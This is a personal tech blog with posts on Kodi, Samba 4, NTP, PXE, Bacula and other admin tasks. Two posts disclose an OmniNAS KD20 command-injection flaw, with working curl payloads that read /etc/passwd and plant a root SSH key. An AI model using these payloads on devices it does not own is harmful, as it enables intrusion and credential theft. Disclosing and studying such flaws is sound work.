mycroes' blog

Fixing the Kodi RTLxl add-on

2017-09-06T13:39:00.000-07:00

Today (or yesterday) RTL decided that you should no longer use the RTLxl addon for Kodi and at the root level displays that you should use the RTLxl website instead. Thank you RTL, but I want to watch on my television without buying something new. (And I wouldn't mind if you put the commercials in, because I guess that's the only reason why you want people to use the website or app.)

Now what could RTL have done to block the Kodi addon? Actually, not much, since Retrospect (which unfortunately mentions on its website that it's no longer available for legal reasons) was still working. So my best guess was that they were applying a user agent check and since the RTLxl addon is kinda old that would certainly be easy to do.

So I went into the RTLxl addon folder in Kodi (~/.kodi/addons/plugin/video.rtlxl/) and started editing addon.py. There was one outdated User-Agent there, so I changed that to something more modern (thank you Google). Restarted Kodi, no luck. But addon.py is relatively small, so I went into resources/lib and opened rtlxl.py, which contained another few User-Agent strings. Replaced them all, restarted Kodi and my wife's happy again!

Getting root SSH access on Shuttle OmniNAS KD20

2015-02-17T12:55:00.000-08:00

In the previous post I detailed a security vulnerability in the firmware for the Shutte OmniNAS KD20. In an attempt to remedy Samba bug #10584 I was trying to get more direct access to my OmniNAS. I already tried to start sshd and telnetd, but with no real success (they were running, logging in was a problem though).

I wanted to get in without making too much changes, by putting a SSH public key on the share and pointing SSHD to it. But since that didn't work out I copied /etc/passwd to the disk share and cat-ed it back (using tee as well) with my user's shell set to /bin/ash. That allowed me to log in after starting sshd, but adding my account to /etc/sudoers was required to get to the next level of control.

Once I was in and with root permissions I was able to diagnose why my initial attempt didn't work. A simple sshd -p 8022 -d showed me that there was a permissions 'problem', because SSHD is secure by default and ignores authorized keys with write permissions for other users. An additional chmod fixed that as well, which brings me to the following two lines to accomplish root SSH access to the Shuttle OmniNAS KD20:

curl -F 'userfile=@.ssh/id_rsa.pub;filename=id_rsa.pub' 'http://192.168.x.x/filesystem/api-1.0/dir_action.php?type=upload'

curl -F 'userfile=@/dev/null;filename=test.txt' 'http://192.168.x.x/filesystem/api-1.0/dir_action.php?type=upload&p=%24(sudo%20mkdir%20%2Froot%2F.ssh%3B%20sudo%20chmod%20700%20%2Froot%2F.ssh%3B%20sudo%20cp%20%2Fshare%2Fatonnas%2Fdisk%2Fid_rsa.pub%20%2Froot%2F.ssh%2Fauthorized_keys%3B%20sudo%20chown%20-R%20root%3Aroot%20%2Froot%2F.ssh%3B%20sudo%20chmod%20644%20%2Froot%2F.ssh%2Fauthorized_keys%3B%20sudo%20chmod%20755%20%2Froot%3B%20sudo%20%2Fbin%2Fsshd)'

In the above two lines the first line copies id_rsa.pub to the disk share, the second line copies it to /root/.ssh/authorized_keys, sets permissions that are acceptable for SSHD and starts sshd.

Now all you need to do is ssh root@192.168.x.x and you're in!

Happy hacking!

Executing commands on Shuttle's Omninas KD20

2015-02-15T14:35:00.000-08:00

Because the firmware on the Omninas KD20 is somewhat broken (see Samba bug #10584) I was trying to get access in an attempt to fix it. Fortunately some people figured there was easy access with old firmware and documented at nas-central how to decrypt the firmware, which applies to current firmware as well. Once I had rootfs.ubi mounted using nandsim I went looking for possible remote exploits and I found one in an external accessible page without password protection.

To make a long story short, this page will pass a GET variable right into an exec call without any verification. As a result, all you need to do is call curl with an url-encoded command as in the following example:

curl -F 'userfile=@/dev/null;filename="test.txt"' 'http://192.168.x.x/filesystem/api-1.0/dir_action.php?type=upload&p=%24(sudo%20cat%20%2Fetc%2Fpasswd%20%3E%20%2Fshare%2Fatonnas%2Fdisk%2Ftest.passwd)'

The above command will put the contents of /etc/passwd in test.passwd in the default 'disk' share. And yes, as a bonus you also get an empty file called test.txt in the same folder!

Happy hacking!

Testing Watchdog related code without reboots

2013-05-23T00:10:00.000-07:00

While writing some code for handling the Watchdog on the Raspberry Pi I wanted to verify what I had written so far. If using the character-based approach it's easy to simulate with any file and watch the contents, but when using IOCTL's or for a more realistic test it's better to just use a real Watchdog driver. Fortunately it's easy to do on Linux without causing any sudden reboots when the Watchdog isn't stopped when exiting your program. There's a softdog module that is providing a software-level watchdog driver, which can also be set up not to reboot at all, which makes testing really easy. Let's start by loading the module:

$ sudo modprobe softdog soft_noboot=1 soft_margin=15

dmesg | grep softdog should include a line similar to this:

softdog: Software Watchdog Timer: 0.08 initialized. soft_noboot=1 soft_margin=15 sec soft_panic=0 (nowayout=0)

Now you can run your watchdog code, for example echo a | sudo tee /dev/watchdog (just don't use V, because it stops the watchdog) and a line similar to this will show:

watchdog watchdog0: watchdog did not stop!

Now if you wait another 15 seconds (as set by the soft_margin argument to modprobe) you will see the following message:

softdog: Triggered - Reboot ignored

That's it. The watchdog was triggered, left running, and it triggered. You can run it again and again, and your system won't suddenly reboot (as it would when testing with the actual hardware watchdog).

Prevent Ubuntu (12.10+) modem-manager from keeping your Sheevaplug busy

2013-04-02T01:24:00.002-07:00

As of Ubuntu 12.10 the very helpful modem-manager will try to connect to about any serial device. Unfortunately that means that when you connect a Marvell Sheevaplug it will connect to that as well, resulting in device or resource busy error when trying to open a screen session to your Sheevaplug. However, the solution is fairly easy, just add the following to /etc/udev/rules.d/70-mm-no-sheevaplug.rules:

ACTION!="add|change", GOTO="mm_usb_device_blacklist_end"
SUBSYSTEM!="usb", GOTO="mm_usb_device_blacklist_end"
ENV{DEVTYPE}!="usb_device",  GOTO="mm_usb_device_blacklist_end"

# Marvell Sheevaplug
ATTRS{idVendor}=="9e88", ATTRS{idProduct}=="9e8f", ENV{ID_MM_DEVICE_IGNORE}="1"

LABEL="mm_usb_device_blacklist_end"

Now do a simple sudo service udev reload, and enjoy your screen sessions with the Sheevaplug again!

Setting up NTP signing (ntp_signd) with Samba 4 (in other words: providing time to Windows clients)

2013-03-28T14:20:00.000-07:00

In an Active Directory domain, the focus usually is on Windows clients. One key aspect in an Active Directory domain is time synchronization. If you're here you probably know something about NTP, and maybe even that Windows won't just use the NTP server you specify using DHCP. The reason is that Windows wants a NTP server that provides signed NTP responses. ntpd actually supports providing these signed responses, but in order to do so it requires a signing provider. Samba 4 can provide this, by way of a socket specifically made for this purpose.

This post continues where I left off with Install Samba 4(.0.4) on Ubuntu 12.04 LTS, from source. It assumes Samba is already working properly, and that the ntp_signd task/service is enabled (which is by default). If you didn't install ntpd yet, do it with the following command:

$ sudo apt-get install ntp

The socket that is used for signing responses resides at /usr/local/samba/var/lib/ntp_signd/socket. The permissions on the socket should indicate that it's world writable, the permissions on the ntp_signd directory however only allow root (as user) full read/write and root (as group) read access. In order to allow ntpd to write to the socket it's necessary to grant it permissions on the ntp_signd directory, which we can do as follows:

$ sudo chgrp ntp /usr/local/samba/var/lib/ntp_signd

There's no need to change permissions of the socket file, if ntp can access it, it can write to it as well (remember, it's world writable).

There is an issue one might easily overlook. By default Ubuntu comes with apparmor enabled, which will prevent some programs from accessing files they normally shouldn't access. One of the programs that is actually configured to be restricted by apparmor, is ntp. Because Ubuntu by default doesn't know about our source-compiled Samba 4 installation, it also doesn't know about the ntp_signd socket. The fix for this is to edit /etc/apparmor.d/local/usr.sbin.ntpd:

# Site-specific additions and overrides for usr.sbin.ntpd.
# For more details, please see /etc/apparmor.d/local/README.
/usr/local/samba/var/lib/ntp_signd/socket rw,

Last but not least we need to configure ntpd so it knows that it is allowed to do signed responses and how it should sign them. This requires the addition of the following lines to /etc/ntp.conf (rest of file omitted for brevity):

ntpsigndsocket /usr/local/samba/var/lib/ntp_signd
restrict default mssntp

Now restart ntpd:

$ sudo service ntp restart

That should be it, but beware! ntpd needs some time to establish a reliable time for itself. Before it has established a reliable time it's useless. You can check if it has established time by running the following command:

$ ntpdate -q localhost
server 127.0.0.1, stratum 3, offset -0.000004, delay 0.02563
28 Mar 22:03:29 ntpdate[15015]: adjust time server 127.0.0.1 offset -0.000004 sec

In the output above it shows stratum 3, if it shows a higher number I guess you can forget requesting time from the server. In my case it will start at 16 and jump back to 3, at which point it has established a reliable time for itself.

At this point you can test with a Windows client. Just open a command prompt and type the following:

C:\>w32tm /resync
Sending resync command to local computer...
The command completed successfully.

C:\>

And that's it! If it doesn't work out this well for you, then I'd suggest you start by running ntpd in debug mode, which will at least show when it's receiving requests from clients:

$ sudo service ntp stop
$ sudo ntpd -d

If it doesn't work, or you want to thank me for the instructions, use the comments!

Install Samba 4(.0.4) on Ubuntu 12.04 LTS, from source

2013-03-22T16:44:00.000-07:00

At the office we've been running Samba 4 for quite a while already. However, the version(s) in use date back to what was found in Ubuntu releases available at install time. The Samba team has actually done a great job at releasing a stable version for Samba 4, but I haven't seen anyone offering prebuilt packages for Ubuntu.

Recently I have been wondering if it would be a good idea to build Samba 4 from source instead. I don't like this approach much, because I prefer having all packages handled by the package manager. Then again, /usr/local/ doesn't need to stay empty, and my domain controllers are just that; domain controllers.

So yesterday I did my first attempt at building Samba from source, which went so well that I did it again today, on a fresh new Ubuntu 12.04 LTS install. I actually switched it to the IP of the primary DC as well, and stopped the old primary DC because the new one was working without any issues at all.

Now onto the actual instructions (assumes a clean 12.04 LTS basic Ubuntu server install):

$ mkdir src
$ cd src

$ wget http://ftp.samba.org/pub/samba/samba-4.0.4.tar.gz
$ tar xf samba-4.0.4.tar.gz
$ cd samba-4.0.4

$ sudo apt-get install build-essential pkg-config libkrb5-dev libacl1-dev \
libattr1-dev python2.7-dev libpam0g-dev libldap2-dev

$ ./configure && make

$ sudo make install

I've omitted all of the output, since the process was so easy. The description is easy as well:

Make a directory to store the samba source in
Download the Samba 4.0.4 source file
Extract it
Install build utilities, Samba dependencies
Configure and build Samba
Install Samba into /usr/local/samba

After these steps you can either follow the Samba 4 documentation to provision a new domain or join a domain, or copy the necessary files from your old domain controller onto this one if you're replacing your domain controller.

There is one important final step, and that's to create an init file. On the Samba 4 InitScript page there's a script listed that will work just fine, I copied it here for reference:

description "SMB/CIFS File and Active Directory Server"
author      "Jelmer Vernooij "
start on (local-filesystems and net-device-up)
stop on runlevel [!2345]
expect fork
normal exit 0
pre-start script
 [ -r /etc/default/samba4 ] && . /etc/default/samba4
 install -o root -g root -m 755 -d /var/run/samba
 install -o root -g root -m 755 -d /var/log/samba
end script
exec /usr/local/samba/sbin/samba -D

Copy this file to /etc/init/samba4.conf and you can use service samba4 start to start Samba 4.

All of these steps will probably apply to Ubuntu 12.10 as well, but I haven't verified yet. Also, since Samba 4 doesn't require anything that's not in Ubuntu 12.04 LTS, it might be wise to stick to this release until another LTS is released.

Please share any thoughts using the comments!

Provisioning HP printers

2012-09-14T14:30:00.000-07:00

At the office we recently added another printer and since we mostly use HP printers I was looking for some way to ease configuration. Although HP network printers usually have telnet available, there is an easier way to supply a default configuration to all your printers, which will also serve as a single source for configuration setting updates. HP printers support getting a configuration file using TFTP. Telling the printer what file it should get is a matter of properly configuring DHCP. The following excerpt from my dhcpd.conf shows configuration for a single device:

host sales.print.domain.tld {
    hardware ethernet 00:11:22:33:44:55;
    option extensions-path "hp.conf";
}

You can combine this with other statements to provide a hostname to the printer as well and to give the printer a fixed IP or registering it's name in DNS. Although (some) HP printers should support a different server address for the TFTP server, I haven't been able to get that working, so I just set up tftpd-hpa on my DHCP-server. The contents of the configuration file are really simple, you can set the same settings as you can set using telnet, and there's an export command in the telnet service that will output the current settings in a way that it can be used as a configuration file. But here's a short example that shows how to disable some services:

slp-config      0
bonjour-config  0
ipx-config      0
appletalk       0

I used tabs for seperation of keys and values, but it should work with spaces as well. Just run export on your device to get a complete overview of all the settings to change. Now when your next new printer arrives, it's just a matter of adding the host to DHCP and you're done.

Run backup job with specified pool in Bacula

2012-09-04T13:29:00.000-07:00

Unfortunately the run command in Bacula only has a few options, so it's not possible to actually pass a pool to the run command right away. However, there's a decent alternative, by performing the mod action automatically. The only thing to do is to find the menu entry for the pool you want:

$ echo -e "run job=Mack level=Full\nmod\n8\n." | sudo bconsole
Connecting to Director localhost:9101
1000 OK: mijlweg-dir Version: 5.0.3 (04 August 2010)
Enter a period to cancel a command.
run job=Mack level=Full
Using Catalog "MyCatalog"
Run Backup job
JobName:  Mack
Level:    Full
Client:   mijlweg-fd
FileSet:  Mack
Pool:     Default (From Job resource)
Storage:  LTO-5 (From Job resource)
When:     2012-09-04 22:14:04
Priority: 10
OK to run? (yes/mod/no): mod
Parameters to modify:
     1: Level
     2: Storage
     3: Job
     4: FileSet
     5: Client
     6: When
     7: Priority
     8: Pool
     9: Plugin Options
Select parameter to modify (1-9): 8
The defined Pool resources are:
     1: Default
     2: Monthly
     3: Ghost
Select Pool resource (1-3): .
Selection aborted, nothing done.
Job not run.
$

Don't assume the numbers here are equal to what you have, but actually run this command with a valid job identifier (I used Mack in the example). After that, make a small change to command to run the backup job:

$ echo -e "run job=Mack level=Full\nmod\n8\n2\nyes" | sudo bconsole
Connecting to Director localhost:9101
1000 OK: mijlweg-dir Version: 5.0.3 (04 August 2010)
Enter a period to cancel a command.
run job=Mack level=Full
Using Catalog "MyCatalog"
Run Backup job
JobName:  Mack
Level:    Full
Client:   mijlweg-fd
FileSet:  Mack
Pool:     Default (From Job resource)
Storage:  LTO-5 (From Job resource)
When:     2012-09-04 22:20:29
Priority: 10
OK to run? (yes/mod/no): mod
Parameters to modify:
     1: Level
     2: Storage
     3: Job
     4: FileSet
     5: Client
     6: When
     7: Priority
     8: Pool
     9: Plugin Options
Select parameter to modify (1-9): 8
The defined Pool resources are:
     1: Default
     2: Monthly
     3: Ghost
Select Pool resource (1-3): 2
Run Backup job
JobName:  Mack
Level:    Full
Client:   mijlweg-fd
FileSet:  Mack
Pool:     Monthly (From User input)
Storage:  LTO-5 (From Job resource)
When:     2012-09-04 22:20:29
Priority: 10
OK to run? (yes/mod/no): yes
Job queued. JobId=12660
$

And there you go, backup running with specified pool!

When security matters ...

2012-04-21T04:33:00.001-07:00

... password restrictions are retarded. When I wanted to activate an online account for my creditcard I entered the same secure password I always use, but guess what, it was not accepted. The password restrictions are as follows:

Het door u gekozen wachtwoord voldoet niet aan de eisen. Uw wachtwoord moet bestaan uit minimaal één cijfer en vijf letters. De maximale lengte is tien cijfers en/of letters. Leestekens en symbolen zoals !@#$%&^*_ worden niet herkend. Let op: uw wachtwoord is hoofdlettergevoelig.

... in English:

The chosen password does not meet our requirements. Your password has to contain at least one digit and five characters. The maximum length is ten digits and/or characters. Punctuation marks and symbols such as !@#$%&^*_ are not recognized. Attention: your password is case sensitive.

Seriously? Please International Card Services, get your stuff together and stop the retarded password restrictions and accept secure passwords for a change...

Linux integration with Active Directory: part 1

2012-02-10T10:50:00.000-08:00

At work I've been running Samba 4 for quite a while. Because Samba 4 is still in Alpha I didn't just move everything over to use Samba 4 for authentication, but instead I started out by moving services over one by one. I actually started with e-mail routing (will detail in a later post) and authentication. Later on I added proxy authentication and fileserver authentication / authorization, Windows XP and Windows 7 clients and last but not least actual Linux (PAM) user authentication.

In this post I will detail how to join a (Debian / Ubuntu) Linux machine to the domain, setup Kerberos, setup nss to make Linux aware of domain users and setting up PAM to allow domain user authentication. I'm using Samba 4 as Active Directory implementation, however this should all just work against a Windows server hosted Active Directory as well. I'm going to make use of a feature that requires Windows Server 2003R2 or newer, or IDMU (Identity Management for Unix), but that's only used to store the users' shell in Active Directory.

First off, I'm assuming that DNS is properly set up. It's not needed, since both Kerberos and Samba can be made to work without DNS, but best case that means a lot of hosts file mess on almost all involved computers. Honestly it's easier to even do a manual DNS setup than to keep such a hosts file mess up to date. I will detail some parts for the non-DNS case as well, since it's useful information.

Setting up Kerberos

Now on to the real work. Setting up Kerberos is really easy:

# apt-get install krb5-config

This should probably ask just one question: the default Kerberos realm. This normally is the uppercase Active Directory domain name. If you don't have DNS setup it will also ask two more questions:

The kerberos servers
The kerberos admin servers

These are the Active Directory Domain Controllers (although Samba 4 doesn't provide the kadmin interface right now). You probably need to add these to your hosts file as well.

If you actually want to check if it's working, you should probably install krb5-user as well and try to do a kinit to acquire a Kerberos ticket, but if you've done a few servers you'll probably believe me when I tell you you don't need krb5-user for Kerberos support.

Joining the domain

Now it's time to join the Linux machine to the domain (since Kerberos is working). We start by installing winbind:

# apt-get install winbind
# /etc/init.d/winbind stop

We don't need an active winbind instance around, so let's stop it right away. If smbd or nmbd are running stop those as well.

Now continue by editing /etc/samba/smb.conf to contain all of the required configuration for Active Directory support:

[global]
netbios name = yourhostname
server string = your host description

realm = YOUR.REALM
workgroup = YOURWORKGROUP
security = ADS
local master = no
preferred master = no
dns proxy = no

# set password server if you don't have functional DNS
#password server = dc.domain.tld

encrypt passwords = true
# setting kerberos method = system keytab prevents pam_winbind from
# authenticating users for me, but the following does work
kerberos method = secrets and keytab

# Using winbind default domain = yes makes usernames work without domain part
winbind use default domain = yes
winbind enum groups = yes
winbind enum users = yes
# winbind nss info = rfc2307 makes winbind use posix attributes from AD
winbind nss info = rfc2307

# map untrusted to domain = yes allows any user to be mapped to the domain user
# with the same username, but also prevents local samba accounts from being used
map untrusted to domain = no

# template homedir can be used to designate the location of users' home
# directories
template homedir = /home/%U
# template shell defines the default shell for when none is set in the posix
# loginShell attribute for a user. Setting this to /bin/false allows login only
# for those users that have this attribute set. pam_winbind also has an option
# to limit access to several groups only, which is actually a real security
# measure unlike this attribute which might be changed by users
template shell = /bin/false

# The first two idmap lines are for the domain, the other two for local samba
# accounts. Using the rid backend maps the ids to the end of the user's SID,
# which makes consistent id mapping across servers possible.
idmap config yourworkgroup : backend = rid
idmap config yourworkgroup : range = 10000 - 49999
idmap uid = 50000 - 100000
idmap gid = 50000 - 100000

Replace all the fields in bold with values applicable to your domain.

Now it's time to join the domain:

# net join -UAdministrator
Enter Administrator's password:
Using short domain name -- YOURDOM
Joined 'YOURHOST' to realm 'your.domain'
[2012/02/10 21:15:35,  0] libads/kerberos.c:333(ads_kinit_password)
  kerberos_kinit_password YOURHOST$@YOUR.REALM failed: Client not found in Kerberos database
DNS update failed!
# /etc/init.d/winbind start
 * Starting the Winbind daemon winbind                                   [ OK ]
#

If DNS is not properly set up, use net join -UAdministrator -Sdc.yourdom, this tells net what server it should use for the join.

As far as I know these errors are nothing to be concerned about, but the DNS update failed means that net/Samba wasn't able to register the host in DNS. If you have DDNS updates from a DHCP server or there's already a static entry for the server in DNS then you don't need to worry at all. Now try wbinfo -u and see if the Active Directory users show up.

Setting up nss

Setting up nss is another easy step, we just need to add two references to winbind, for both passwd and group. Edit /etc/nsswitch.conf and change the passwd and group lines:

...
passwd:         compat winbind
group:          compat winbind
...

Verify with getent passwd that all the domain users are listed and their home directories make sense. Now would be a good time to change the loginShell attribute for your user, because as you can see it now is /bin/false for all users.

Setting up PAM

Now that the users actually 'exist' on the machine, let's enable authentication for them as well (if your package manager hasn't already done that for you):

# pam-auth-update
...
Some PAM module packages provide profiles that can be used to
automatically adjust the behavior of all PAM-using applications on the
system.  Please indicate which of these behaviors you wish to enable.

PAM profiles to enable:

   [*] Unix authentication
   [*] Winbind NT/Active Directory authentication
...

Now let's logon to the server from another computer:

$ ssh user@yourhost
user@yourhost's password: 
...
Could not chdir to home directory /home/user: No such file or directory
user@yourhost:/$

That's not good is it? Well, it is, but let's make it better, but first...

It doesn't work!

Oh well, bad things can happen. It should work, it works for me on multiple machines, both freshly installed and some older installations, both latest and long-term Ubuntu releases and different Debian releases. But it doesn't work for you... There's a few places you can check right now, one is /var/log/auth.log. However, this might not be the most useful log file in case of authentication failures against Active Directory. A good help though is to start winbind in debug mode:

# winbindd -d 3 -i

This will list a lot of debug information. Look at the messages that occur during a login attempt, it helped me to discover that I needed to use kerberos method = secrets and keytab in smb.conf. It wasn't saying so directly, and don't expect it to tell you the solution to all your problems, but the error messages can be informative...

Finishing touches

Now to continue where we left off, apparently we don't have a home directory on the server yet. This makes sense, and there's a proper solution. We just need to tell pam to use a module that will make a home directory for a user logging in. Let's do so by adding one line to the end of /etc/pam.d/common-account:

session required pam_mkhomedir.so umask=0077 skel=/etc/skel

You can change the umask, but 0077 means that the directory is owned by the user and that group and other have no permissions at all. Now if we login we end up in our newly created home directory.

Next up is sudo. There's a possibility you want to grant sudo rights to someone in your domain, for instance to the Domain Admins group. Of course this is not any different from granting permissions to a local group, I'm detailing it here for a more complete solution. Edit /etc/sudoers in your favorite editor and add the following line:

%domain\ admins ALL=(ALL) ALL

The backslash is just used to escape the space in the group name, otherwise this is no different than any other sudoers entry.

We've come a long way from where we started, but there's still room for improvement. We enabled login using Active Directory credentials, but what if we already logged in somewhere else? In Windows SSO (Single SignOn) works out of the box, but let's add it to our Linux machine(s) as well. What we need for SSO is Kerberos, and since we just set that up we can use it for other services as well. For now I'll only discuss on setting this up for OpenSSH. In /etc/ssh/sshd_config there are two commented lines that we need to change and uncomment so they look like this:

...
GSSAPIAuthentication yes
GSSAPICleanupCredentials yes
...

Don't be fooled by the Kerberos lines, they're not needed for Single SignOn. Now restart SSH:

# /etc/init.d/ssh restart
Rather than invoking init scripts through /etc/init.d, use the service(8)
utility, e.g. service ssh restart

Since the script you are attempting to invoke has been converted to an
Upstart job, you may also use the restart(8) utility, e.g. restart ssh
ssh start/running, process 32441

Now back to the other computer to do a ssh login and see if you can log in without having to supply a password. If it doesn't work, try the following command:

$ ssh -vvv -o PreferredAuthentications=gssapi-with-mic user@yourhost

This will show a lot of debug messages, probably with a descriptive error message near the end. One thing to keep in mind is that the client needs to know the Kerberos principal for the host it's connecting to. This is because with Kerberos, the client is also verifying that the server is actually (according to Kerberos) who it's trying to connect to. The way ssh determines the principal is by using the HostKeyAlias, which defaults to the host you're connecting to. However, it's easy to cheat if there's no working dns by supplying -o HostKeyAlias=yourhost on the ssh commandline.

We can make this even better than it is right now. You might have noticed that if you're logging in using password authentication that you actually get a Kerberos ticket, pam_winbind makes sure this happens. But now that we log in using Kerberos authentication, we don't get a ticket. Seems strange, but it's not. Ssh has decided to turn credential delegation off by default, but we can turn it on again. To do this on a per-user basis you can edit ~/.ssh/config and add the following line:

GSSAPIDelegateCredentials yes

Now if you logon to the machine using Kerberos your ticket is delegated and you can use it to ssh to other computers as well.

Final notes

You should now have a quite-well-integrated Linux machine. In future parts I will discuss mail routing and authentication and proxy server authentication and authorization. This post might be expanded to include some topics that were missing at first, I will try to keep an update list in here as well.

Enabling higher resolutions on Matrox G200eW

2011-10-12T02:21:00.000-07:00

Recently we bought 5 DELL PowerEdge T110 servers to deploy to customers. After installing Windows XP on the PERC S100 RAID (more on that in a future post) I had to look for a driver for the graphics card. Of course you can't easily find it at Matrox's site, so I went over to DELL support and downloaded the Windows Server 2003 Matrox driver. Server 2003 and XP both being NT5 this worked like a charm, as was to be expected. There is another issue however, by default the Matrox driver supports 4:3 resolutions up to 1280x1024, but we use widescreen monitors which can do 1920x1080, and we're relying on that.

Just a week ago I was fiddling with Matrox drivers for a G450, where I had the same issue with resolutions, where the latest driver did support the correct 16:9 resolutions. When I was comparing the drivers, I noticed there's a resolution reference directly in the driver inf file. For the G200eW, this listed just a few resolutions, but for the G450 there was a long list. Changing this value to what the G450 had listed was enough to get it working, so now our G200eW can do 1920x1080 without issues. Here's the changed value for future reference:

HKR,,Mga.SingleResolutions,0x00000001,\
40,01,C8,00,40,01,F0,00,00,02,80,01,80,02,90,01,\ ; 320x 200,  320x 240,  512x 384,  640x 400
80,02,E0,01,20,03,58,02,50,03,E0,01,58,03,E0,01,\ ; 640x 480,  800x 600,  848x 480,  856x 480
60,03,E0,01,C0,03,60,09,00,04,00,02,00,04,00,03,\ ; 864x 480,  960x2400, 1024x 512, 1024x 768
00,04,00,05,00,04,00,06,30,04,58,02,80,04,60,03,\ ;1024x1280, 1024x1536, 1072x 600, 1152x 864
B0,04,40,06,00,05,D0,02,00,05,00,03,00,05,20,03,\ ;1200x1600, 1280x 720, 1280x 768, 1280x 800
00,05,C0,03,00,05,00,04,00,05,40,06,50,05,00,03,\ ;1280x 960, 1280x1024, 1280x1600, 1360x 768
58,05,00,03,60,05,00,03,78,05,1A,04,A0,05,84,03,\ ;1368x 768, 1376x 768, 1400x1050, 1440x 900
40,06,00,04,40,06,B0,04,40,06,00,05,90,06,1A,04,\ ;1600x1024, 1600x1200, 1600x1280, 1680x1050
00,07,40,05,08,07,A0,05,40,07,70,05,80,07,0A,04,\ ;1792x1344, 1800x1440, 1856x1392, 1920x1034
80,07,38,04,80,07,B0,04,80,07,A0,05,00,08,00,06   ;1920x1080, 1920x1200, 1920x1440, 2048x1536

DELL Vostro 3550 stacking issue

2011-07-27T04:41:00.000-07:00

At work I often order a few laptops at the same time. Because of this it often occurs I install one of the laptops, then put another one on top to install that one. Now I had a Vostro 3550 on my desk and I put another one on top of it. When I turned it on the screen stayed black, or at least so it seemed. After a while I noticed there was a faint graphic showing, so my guess was the backlight was broken. I pushed the power button, pressed F2 to enter BIOS hoping that would help, then when I turned the laptop to the light to see if there was something on the screen it turned on. I put the laptop down again, it turned off. Lift the front up half a centimeter, screen turns on.

So I was thinking, must be a bad connection, right? Well I had another 3550 still in the box, so I removed the top 3550, put it aside, put the other one on there, turned it on, same issue! This was too much coincidence for me and I quickly noticed that the 3550 doesn't have any buttons to detect whether the lid is closed, so it uses magnets to do this. Well of course if you stack two laptops on top there's always a lid nearby, I didn't expect it to be this sensitive though...

Moving "Documents and Settings" to another partition in Windows XP

2011-05-30T05:17:00.000-07:00

Because you can't depend on Windows, it's nice to have some kind of backup scheme for when things go wrong. One of those solutions is to store important data on a seperate drive. I've seen a lot of people doing this the wrong way. User folder in C:\Documents and Settings\[user] and a partition D: or E: which then contains folders like Documents, Downloads, Photos and Music.

A home directory is not just a home directory for nothing, so store your files in there. The solution is simple, with NTFS drivers you can have a volume mount point, which allows you to use a seperate NTFS filesystem as if it was just a folder in another NTFS filesystem. Of course this doesn't make it easy yet, so these are the steps that need to be taken to have it fully functional:

Format the new partition as NTFS
In Disk Management in Windows setup the new filesystem as volume mount point on C:\newdoc
Boot to something that is capable of moving stuff around on your drive (Parted Magic will do)
Copy the contents of Documents and Settings to the new filesystem
Move Documents and Settings to olddoc
Move newdoc to Documents and Settings
Reboot into Windows

Depending on what you used to copy the contents of Documents and Settings you might have to reset some of the file attributes (or permissions even), because otherwise a lot of Desktop.ini files will pop up.

One last improvement that can be made is to fix the icon for the mount point. By default this will show as a disk icon, but because we abstracted this fact we might also want to show it as a folder. Just create C:\Documents and Settings\autorun.inf with the following contents:

[autorun]
icon=%SystemRoot%\system32\SHELL32.dll,3

This requires a reboot before visible, but after that will work great.

Because we make effective use of NTFS volume mount points all legacy applications that probe for C:\Documents and Settings instead of using the proper functions to find profile directories will work as ever before. Just keep in mind to follow these steps after a Windows reinstall, except for the file copy part!

Linksys E4200 as an access point

2011-05-11T13:09:00.000-07:00

At work we bought two Linksys E4200's to extend our wireless network. We wanted to use them as access points / wireless gateways instead of their normal router configuration. Googling turns up a few half-documented solutions, which might even work in case you've got a small home network set up, but I still couldn't get it to work. So I took one of the routers home, and this is what I've come up with (tested at home only right now):

Start the router
Connect a cable between your computer and one of the E4200 LAN ports
Turn on remote management on the E4200
Verify that the E4200 doesn't have a local address that belongs in your network's subnet (change it otherwise)
Connect a cable between the E4200 WAN port and your network
Connect a cable between your computer and network
Turn off the DHCP server on the E4200
Connect a cable between your network and one of the E4200 LAN ports
Connect a cable between the E4200 WAN port and one of the E4200 LAN ports

Now you can wirelessly connect to your network using the E4200 and you can still access the E4200 admin interface as well!

Of course this all won't be necessary when DD-WRT or other alternative firmware releases are available for the E4200, but right now this probably is the best solution.

touchmoused: Logitech Touch Mouse server for Linux

2011-04-28T13:50:00.000-07:00

Recently I was looking at a way to control the Mac Mini I have connected to my TV. I don't have a keyboard or mouse connected (only a gamepad), but I do have an iPod Touch. Soon I found Logitech Touch Mouse, a simple app providing a keyboard and mouse over the network. Of course Logitech isn't capable of delivering a Linux server for it's app, so I decided to write it myself.

After a quick Wireshark dump I started hacking away. Using the recently released Shairport as a reference I started hacking away on my first Perl program. This also being my first program where I had no documentation on protocol whatsoever, it took me a while to figure out I had to listen both on TCP and UDP. Then it also took me a while before I figured Perl doesn't write directly on a print statement unless autoflush is set on the file descriptor. I managed to find that one on a page detailing serial port communication with Perl.

When these hurdles were overcome I could really start interpreting events, sending them through to the Linux UInput facility. Today another big issue was fixed, mouse movement was broken until I added left mouse button support. So anyone trying to send mouse movements using uinput, be sure to enable left mouse button events!

Anyway, I've now come to a point where the Touch Mouse app can be effectively used as a trackpad replacement. Moving, clicking, (two-finger) scrolling, it all works. Also alphanumeric keys are working, Ctrl and Alt are working and some character keys are working. This also means I think I've come far enough to promote the app here on my blog, so anyone willing to try it out should move on to my github project page.

DHCP for PXE booting only

2011-01-12T12:10:00.000-08:00

At work we use a Novell Netware 5 server (don't worry, it will be replaced) for, amongst others, DHCP. Not much of an issue, but I wanted to netboot clients so I could do easy operating system installations. When I wanted to add the appropriate options to the DHCP server, I noticed it wasn't possible. Some searching on the internet revealed some hacks, but nothing you'd easily try on a server in use.

So then what? I noticed before when I was trying to boot PXE clients and they were attached to the main network (instead of my private network) that they wouldn't get (accept?) DHCP leases, so there was my solution: add a DHCP server that gives leases to PXE clients only.

Although this may sound hard, it's actually pretty easy. PXE clients send along a so-called vendor class identifier containing the string PXEClient. Using the ISC DHCP server we can easily check for this string, and then hand out a lease to those clients only. One last thing to keep in mind: don't hand out leases in the same range as the authorative DHCP server.

Finally, here's a sample config (/etc/dhcp3/dhcpd.conf):

ddns-update-style none;
option domain-name "mycroes.nl";
option domain-name-servers 192.168.5.1;

default-lease-time 600;
max-lease-time 7200;
log-facility local7;

class "pxeclients" {
 match if substring(option vendor-class-identifier, 0, 9) = "PXEClient";
 filename "pxelinux.0";
}

shared-network 5 {
 subnet 192.168.5.0 netmask 255.255.255.0 {
 }
 pool {
  allow members of "pxeclients";
  range dynamic-bootp 192.168.5.201 192.168.5.240;
 }
}

Updating Ubuntu without removing grub-efi

2010-09-30T11:02:00.000-07:00

